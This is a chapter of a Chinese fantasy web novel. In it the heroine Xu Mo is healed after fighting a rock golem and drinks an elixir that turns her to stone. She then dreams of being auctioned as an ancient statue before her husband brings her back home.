  剧痛如同退潮般迅速缓解,破碎的骨头发出细微的“咯咯”声,开始以肉眼可见的速度愈合、对接。
  刺出皮肉的腿骨缓缓缩回,扭曲的肢体被无形的力量矫正,内腑的创伤也在强大的生机滋养下快速修复。
  不过几分钟,她的呼吸便从之前的艰难破碎变得平稳悠长,原本惨不忍睹的伤势竟已恢复如初,肌肤光洁,仿佛从未受过那毁灭性的打击。
  “真厉害啊你。”
  魔岩巨像像个发现了新奇玩具的孩子,蹲在石澡盆旁边,巨大的岩石脑袋凑近,那双由璀璨晶石构成的眼睛里闪烁着纯粹的赞叹光芒。
  许墨从浴盆中坐起身,水珠顺着她恢复光洁的肌肤滑落。
  她微微摇头,语气带着经历过生死后的平静与自知:“前辈过奖。我只是凭借身法和武器之利,侥幸触及核心。前辈只是随手一击,便将我几乎打成废人,晚辈还差得远。”
  巨像却摇了摇头,发出沉重的石块摩擦声:“抱歉啊,刚刚应该收着点的。但你碰到我核心的时候,那一瞬间传来的……像是能把我彻底瓦解的气息,我真害怕了。”
  许墨一怔,眼中闪过一丝难以置信:“所以……刚刚那是前辈的……”
  “是啊,”
  巨像坦然承认,语气甚至带着点不好意思,“全力一击。真对不起,没控制住力道。”
  “不,不会。”
  许墨连忙摇头,心中却泛起波澜。她在两界山的历练中对这种情况似乎已经有些习惯了。
  正如青森祭司所言,这些守护者若真放开手脚,拍死她如同碾碎蝼蚁。
  但不知为何,自从经历了青木谷那场死去活来的残酷“淬炼”后,她体内的生命力变得异常蓬勃旺盛,生生不息,韧性远超以往。
  方才那一击若是过去的自己,定然十死无生,如今却能硬抗下来并快速恢复,这本身就已证明了这种极限压迫式训练的可怖效果。
  “诺,给你。”
  巨像伸出它那粗粝的岩石手指,指尖捏着一块物件。
  那是一个橙黄色的、如同最纯净琥珀般的圆形石块,约莫拳头大小,通体浑圆,质地坚硬异常,内部仿佛有氤氲的土黄色光芒在缓缓流转,散发着一股厚重、沉稳、如同大地核心般的气息。
  “前辈,这是……”许墨隐约猜到了什么。
  “山石之心,说好的奖励。”
  巨像的声音依旧平淡。
  “可是我没赢啊……”
  许墨坚持道,她有自己的原则。
  “我觉得你赢了。”
  巨像认死理。
  “没赢。”
  “赢了。”
  “……”
  许墨看着这憨厚却固执的石头脑袋,一时语塞,这性格倒是和桃源镇那位负责修缮建造的包工头石坤大叔如出一辙。
  她无奈地叹了口气,转移了话题:“那……惩罚还要做吗?”
  “不是惩罚,是奖励。”
  巨像认真地纠正,然后用指尖夹起一个看起来也是由石头雕琢而成的小瓶子。
  瓶子里的液体呈现出浑浊的乳白色,散发出一股浓厚的、带着矿物颗粒感的泥土气息,光是闻到,就让人感觉喉咙发干,牙齿都有些硌得慌。
  “这是钟乳石髓。摆个喜欢的姿势,把这个喝了,你就能变成石头一天。”
  “那预定的惩罚内容是什么呢?”
  许墨好奇。
  “也是一样的。”
  巨像回答得理所当然。
  许墨闻言,有些哭笑不得。
  这奖励和惩罚竟是一样的内容?
  但她还是依言,从尚有余温的浴盆中站起身,毫不扭捏地开始解开身上湿透且破损的衣物,露出经过多次淬炼后愈发玲珑剔透、曲线完美的胴体。
  水珠从她光滑的肌肤上滚落,在石窟稀疏的天光下闪烁着晶莹的光泽。
  “要在这里吗?”
  巨像似乎有些不解,晶石眼睛眨了眨。
  “在哪里不一样呢?”
  许墨反问,对于在这些非人前辈面前暴露身体她早已习以为常,甚至将其视为修行的一部分。
  “这里的话,会被路过的鸟拉屎,很烦人。”
  巨像用最朴实的语言,说出了最实在的顾虑。
  许墨:“……”
  习惯了林烨的跳脱抽象,幽漪的妖媚情色,突然面对这种逻辑简单直接、满嘴大实话的老实石头,她感觉自己的思维像是被强行宕机,一时竟不知该如何接话,有种莫名的无力感。
  “去山洞里吧,那里土气浓郁些,效果可能更好。”
  巨像指了指石窟一侧一个幽深的洞口。
  许墨点了点头,默默捡起地上湿漉漉的衣物,仔细叠好抱在怀里,然后赤着身子,无言地跟在迈着沉重步伐的巨像身后,走进了那个附属的小山洞。
  洞内干燥,充满了浓郁的土行灵气。
  在她进入山洞,将叠好的衣物放在一块干净的石头上后,那魔岩巨像竟直接转过身,用它那庞大如小山般的身躯,严严实实地堵住了洞口,仿佛一尊最忠诚的守卫,隔绝了内外。
  洞内瞬间陷入一片黑暗,只有许墨指尖跃起的一簇微弱火苗,提供着昏黄摇曳的光源。
  她拿起那个石瓶,拔开塞子,一股更浓郁的土腥气扑面而来。她没有犹豫,仰头将里面粘稠浑浊的钟乳石髓一饮而尽。
  口感……糟糕透顶。
  仿佛吞下了一大口混合着细沙和石膏粉的浆糊,粗糙的颗粒感摩擦着喉咙,带着一种沉闷的土味,让她几乎要反胃呕吐,但最终还是强行咽了下去。
  随后,她忖度片刻,选择了一个让她心神最能安宁、也最能感受自身灵力的姿势。
  她缓缓跪坐下去,分开双腿,然后以惊人的柔韧性,将脊柱向后极限反折,头部灵巧地从大腿之间穿过,双臂则折叠起来,稳稳地压在下巴下面——正是那标志性的、极其复杂且充满自缚意味的“三折叠”姿态。
  石化的过程,并非预想中的僵硬与痛苦,而是以一种奇异的方式,从内而外,悄然发生。
  最初,她感到自己的呼吸渐渐变得微弱,直至彻底停止,胸腔不再起伏。
  紧接着,心脏那有力的搏动也归于沉寂,血液不再流淌。一种绝对的“静”笼罩了她内在的世界。
  随后,变化体现在体表,她原本白里透红、吹弹可破的肌肤,色泽开始慢慢褪去,从健康的粉白逐渐转向一种毫无生气的、山石特有的青灰色,质地也变得坚硬、冰冷。
  石化由上而下,由内而外蔓延。
  她感觉到肩膀、手臂、腰肢、双腿的关节仿佛被无形的水泥灌注,逐渐凝固,再也无法移动分毫。
  嘴巴想要微微张开,却发现嘴唇和舌头都已僵硬。最后,连眼睑也变得沉重,她安静地、顺从地将双眼闭合,彻底化作了一尊不能言、不能动、没有丝毫生命气息的、呈现出三折叠姿态的青灰色美女石雕。
  然而,与外表的死寂截然相反,她的意识却从未如此清明、活跃。
  她的“视线”仿佛被拉入了自身的丹田识海。
  那是一片浩瀚的、闪烁着微光的空间。
  原本占据主导的、代表木属性的青绿色光芒,此刻正与一股新涌入的、厚重沉稳的土黄色光芒交织在一起。
  奇异的是,土黄色的光芒并未被木属性克制,反而在那磅礴生机的滋养下,变得更加凝实、旺盛,如同大地得到了雨露的滋润,焕发出更深沉的底蕴。两者并非排斥,而是在某种玄妙的平衡中,相互促进,让她的丹田气海变得更加稳固、辽阔。
  这个过程虽然神奇,但也极其缓慢。
  意识在空明中飘荡,时间感变得模糊。
  看久了那两色光芒缓慢流转,难免感到一丝枯燥。
  许墨回想起幽漪姐姐曾说起过的见闻——那些中了陷阱、遭遇诅咒,或是像她一样误食了奇异之物而被石化的人们,所化的石像大多容貌惊恐扭曲,肢体在最后一刻拼命伸展,仿佛想要抓住什么虚无的希望。
  “石化……真的有那么痛苦吗?”
  许墨的意念泛起一丝疑惑。
  她此刻的感觉更像是一种深度的冥想,一种与大地融为一体的沉静。
  除了不能动,似乎并无不适。
  好吧,承认吧,在这片似乎无穷无尽的识海星空中飘荡久了,确实……有点无聊。
  于是,许墨开始“数星星”。
  那散布在丹田识海四周,如同宇宙尘埃般闪烁的、代表着自身灵力节点或外界感知的点点微光,成了她消磨这凝滞时光的唯一玩具。
  她的神识如同最精密的探针,锁定一颗,意念微动——“一”;再锁定下一颗——“二”……每数过一颗“星”,她的神识似乎就变得更加凝练一丝,对自身灵力的感知也愈发清晰。
  “三千三百二十三,三千三百二十四,三千三百二十五……”
  就当许墨的元神沉浸在这浩瀚而单调的“数星”游戏中,意念标记到第三十三万两千三百四十七颗星子时——“轰!!!”。
  整个识海宇宙,仿佛被一只无形巨手粗暴地撕裂!耀眼夺目、不含一丝杂质的炽白强光,如同洪水决堤,瞬间淹没了她所有的感知!那光芒如此强烈,甚至让她失去了“闭眼”这个概念,只能被动地承受这视觉的洗礼。
  紧接着,是声音!嘈杂、尖锐、混合着扩音器放大后的失真人声,如同无数根钢针,猛地刺入她沉寂了不知多久的听觉。
  “……尊贵的来宾们!请将目光聚焦!接下来我将为各位隆重介绍本场拍卖会的下一件——堪称奇迹的绝世珍品:‘三折玉女像’!”
  随着这充满蛊惑力的女高音响起,许墨感到眼前那刺目的白光稍微减弱了一些,遮挡视线的某种布料被猛地掀开!
  她“看”到了。
  视线前方,是一个向下倾斜的、如同碗状的空间。
  下方坐着一排又一排衣着光鲜的人。
  他们的穿着林烨曾经偶尔提及并嗤之以鼻的“现代西装”、“礼服裙”类似,男男女女,皆面容模糊——因为每个人都戴着样式各异、遮住了上半张脸的面具。
  会场灯光昏暗,唯有展示台和她所在的位置亮如白昼。
  台下偶尔传来压低的窃窃私语,以及举牌时细微的声响。
  “我这是……在哪里?”
  许墨的意念充满了震惊与茫然,“不是说……就一天吗?”
  台上,那位身着华丽长裙、妆容精致的主持人,正用她那经过专业训练、极具煽动性的嗓音,卖力地介绍着:“各位请看!”主持人侧身,伸手指向许墨——或者说,指向她所化的这尊石雕,“这尊‘三折玉女像’,据考证,出土于神秘的上古遗迹,其具体年代已不可细考,但根据其石质风化程度及雕刻技法判断,专家推测,距离今天至少有——四万年历史!”
  (许墨:四万年?!我明明才……不对,石头的时间感果然不靠谱!)
  “大家请看这玉女像的材质!”主持人声音高昂,“通体呈现出一种罕见的、毫无杂质的纯白之色,并非普通玉石,质地温润细腻,堪比最上等的羊脂白玉!(许墨:那是我的皮肤好吧……虽然现在好像是石头。)”
  “再看其形态!”主持人走到石雕近前,几乎要触摸到那折叠的肢体,“这极其复杂、超越人体极限的三折叠姿态,每一处线条都充满了不可思议的柔美与力量感!这绝非自然形成,定是出自某位技艺通神、却早已失传的雕刻大家之手!(许墨:这姿势明明是我自己摆的!哪来的雕刻大家?)”
  “最令人惊叹的是其细节!”主持人语气夸张,戴着白手套的手虚指石雕表面,“大家可以看到,这肌肤的纹理,这关节的转折,甚至这……这臀部的饱满曲线,腰肢的纤细柔韧,都雕刻得栩栩如生,仿佛下一秒这玉女就会舒展身体,活过来一般!(许墨:……能不能别盯着那里看!还有,谁要活过来啊!)”
  “甚至!请大家仔细看这发丝!”
  主持人将灯光聚焦到许墨石雕的短发上,“虽然因年代久远,发型与我们现今不同,但这每一根发丝的走向,每一缕的叠压,都清晰可见,雕刻技艺已臻化境,堪称鬼斧神工!(许墨:我那只是懒得打理剪短了而已!而且石化还能保留头发细节的吗?!)”
  “如此神秘、如此精美、兼具上古遗风与极致艺术价值的‘三折玉女像’,起拍价——六百万元!每次加价不得低于十万元!现在开始!”
  台下响起一阵礼貌性的掌声,随后,竞价声此起彼伏。
  “六百五十万!”
  “七百万!”
  “七百八十万!”
  “八百万!”
  许墨又惊又气。惊的是自己石化之后到底过去了多久?难道真如那主持人所言,已是四万年后?
  气的是自己为何会像一件商品般,被摆放在这亮闪闪的透明琉璃柜里,供人品头论足,反复叫价?
  她试图转动眼球,哪怕只是动一下手指,却绝望地发现,身体依旧完全不听使唤,除了能“看”和“听”,她与真正的石雕毫无二致。
  更让她无语的是,她瞥见一旁悬挂的巨幅海报上,赫然印着自己这尊石雕的清晰图像,旁边还用夸张的艺术字写着“上古神迹·三折玉女像”。
  “有一说一,”
  许墨的意念忍不住吐槽,“这纯白的三折叠的少女雕像线条流畅,姿态奇异中带着美感,还挺好看……真不愧是我。”
  这荒谬的念头让她更加气结。
  竞价在持续。
  “一千两百万!”
  “一千三百万!”
  “一千五百万!”
  就在这时,一个懒洋洋的、带着些许玩世不恭意味的声音,总是在别人报价后,慢悠悠地响起:“一千五百一十万。”
  “一千六百万!”
  “一千六百一十万。”
  “一千八百万!”
  “一千八百一十万。”
  又是他!那个讨厌的家伙!每次有人认真出价,他就只加最低的一万,像是故意捣乱,又像是对这雕像志在必得,却又不愿多出力气。这种恶劣的行径,让台下其他竞拍者发出不满的嘘声,也让许墨对这个只闻其声、未见其人的“恶意叫价者”厌恶到了极点。拍卖会的氛围因这人的搅局而变得有些紧张和怪异。
  价格被一点点抬升,最终,当价格达到两千万时,那个讨厌的声音再次响起:“两千零一十万。”
  会场安静了片刻,再无人举牌。
  “两千零一十万一次!两千零一十万两次!两千零一十万三次!成交!恭喜这位先生!”
  主持人落槌定音。
  “所以最后还是被卖给了那个讨厌的家伙啊!”
  许墨感到一阵绝望和屈辱。
  随后,她感到自己连同外面的方形琉璃柜子一起被几个穿着黑色西装、戴着耳麦、神情严肃的壮汉小心翼翼地搬运下来。
  他们动作专业,将她放入一个内部垫满了柔软海绵的怪异木板箱中仔细封装好。
  接着是一阵颠簸和搬运的震颤,显然是被装上了运输工具。
  不知过了多久,颠簸停止,她听到外面传来模糊的对话声:“轻点轻点!抬到这里!小心点别摔坏了!老板特意交代的!”
  随着一阵小心翼翼的搬运和短暂的倾斜之后,许墨感到自己终于被平稳地放置下来,不再晃动。
  “咔哒。”木箱被工具撬开的声音。
  遮挡视线的木板被移除。
  然后,许墨“看”到了一张脸——一张熟悉的、挂着那副她既爱又恨的、吊儿郎当坏笑的脸,凑在琉璃柜外,正笑眯眯地看着她。
  “墨宝儿,欢迎回家哦~”
  视线转动,四周的景象不再是那个陌生的拍卖场,而是她无比熟悉的、桃源镇家中那间简朴的小屋。窗外,是熟悉的青山绿水,鸟语花香。
  几乎在林烨话音落下的瞬间,那股束缚着她全身的石化之力,如同潮水般骤然退去!僵硬感消失,生命力重新在体内奔腾!她感到自己能动了!
  她缓缓地、带着一种恍如隔世的不真实感,开始舒展身体。
  极限折叠的肢体如同绽放的花瓣,一点点打开,恢复成正常的跪坐姿势。
  骨骼发出轻微的脆响,那是久未活动的征兆。
  她低头看了看自己恢复莹润肉色的双手,又抬头望向依旧笑嘻嘻的林烨。
  没有愤怒的质问,没有劫后余生的激动,她只是轻轻地、带着一丝颤抖,伸出双臂,环抱住林烨的腰,将脸颊埋在他胸前,声音轻得如同梦呓:“夫君……我好像做了个奇怪的梦……梦见我变成了一尊白玉雕像,在一个奇怪的地方……被卖掉了……卖了两千零一万元……有个讨厌的家伙,一直在抬价,每次别人叫价,他就只加十万……那是你吧?”
  “是啊。”林烨回答得干脆利落,脸上没有丝毫意外或愧疚,仿佛这只是件微不足道的小事。
  “那到底是怎么回事?!我到底……怎么了?!”
  许墨抬起头,抓着他的肩膀,眼中充满了困惑和后怕。
  林烨任由她抓着,脸上的笑容收敛了些,带着一丝无奈的纵容:“没什么,只是下一次你要是再想玩玩石化之类的把戏,多少也要动一点点‘解除’的念头吧?不然的话,咱家里可就要多一个漂亮的、永久白玉摆件了哦。”
  许墨猛地一愣,如同被一道闪电劈中。
  是啊,从被石化开始到在识海中数星星,再到被拍卖……她的意识虽然清醒,却仿佛彻底接受了“石雕”这个身份,从未有过一丝一毫“我要变回去”、“我要解除石化”的念头!
  她完全沉浸在了那种凝滞的状态里,甚至……有点享受那种绝对的宁静与抽离?
  意识到这一点,巨大的羞愧感涌上心头。
  她低下头,声音带着哽咽:“抱歉,夫君……让你操心了。”
  “唉。”林烨只是轻轻叹了口气,伸手揉了揉她的短发,眼神复杂,最终化为一片深邃的平静,“睡觉吧。”
  是夜,月朗星稀。
  当许墨因疲惫而沉沉睡去后,林烨独自坐在床边,面无表情。窗外,肉眼可见的、如同巨大漩涡般的天地灵气,再次悄然汇聚,以小屋为中心,形成一个磅礴的灵气漏斗,缓缓注入许墨体内,滋养着她经历了一场时空错乱之旅的身心。
  林烨坐在床边面无表情,依旧在吟诵着不知名的口诀:“中央黄色,入通于脾,开窍于口,藏精于脾……”
  巨大的灵气漩涡缓缓散去,两界山重归万籁俱寂。
  与此同时,在如同被巨剑削平的山巅之上,一只体型庞大、肌肉虬结、毛色灰白相间、面相却意外透着憨厚老实气息的巨大石猿正拄着一根巨大的铁棒,遥望着桃源镇的方向。
  它长长地、心有余悸地呼出一口带着岩石气息的浊气,如雷鸣般在寂静的山巅回荡。
  “好险好险……多亏先生及时出手将那缕意识寻回并注入现实的石像,再晚片刻,她的意识恐怕就真要彻底迷失在那自我凝滞的时空片段里,与那具石像永远融为一体了……唉,这差事,真不好干啊……”